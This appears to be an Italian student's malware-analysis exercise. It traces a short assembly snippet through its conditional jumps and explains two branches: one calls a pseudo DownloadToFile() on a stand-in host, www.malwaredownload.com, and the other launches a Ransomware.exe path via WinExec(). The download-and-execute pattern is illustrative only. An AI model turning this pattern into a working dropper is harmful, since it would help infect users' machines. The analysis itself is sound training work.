Analisi avanzate(progetto settimanale)

Il malware esegue il salto condizionale dalla locazione "**loc 00401068**" a "**loc 0040FFA0**"(t.3).

Questo avviene perhè come possiamo osservare nella tabella alla riga 2 il 10 viene inserito nel registro EBX e successivamente alla riga 5 con l'istruzione "inc" viene incrementato di 1 diventando 11 , ed infine alla riga 6 viene comparato con 11 dandoci come risultato 1, cosi l'istruzione "jz" fa avvenire il salto perche lo ZF = 1 .

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Diagramma di flusso

Esegue il salto

Non esegue il salto

Continua la funzione

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Funzionalità all'interno del malware

Le funzionalità implementate all'interno del malware sono :

DownloadToFile() = un' API che serve per scaricare il codice malevolo da dal url che si collega a internet , salvandolo poi all’interno di un file sul disco rigido del computer infetto.

WinExec() = un' API di Windows che serve per avviare un processo in questo caso avvia il malware scaricato dalla da internet.

Argomenti e funzioni

In questa parte di codice assembly notiamo che EDI (il quale contiene l'url del sito da dove scarichera il ransomeìware), viene inserito all'interno del registro EAX. Quest'ultimo viene poi spostato sullo stack tramite l'istruzione "push" , ed infine con l'istruzione "call" viene richiamata la funzione DownloadToFile(), che scarica il contenuto che si trova nell'url "www.malwaredownload.com".

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nella prima riga possiamo osservare EDI (nel quale troviamo il Path del ransomware), viene messo all'interno del registro EDX, il quale viene spostato sullo stack dall'istruzione "push". Infine con l'istruzione "call" viene richiamata la funzione WinExec() che avvia il malware.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione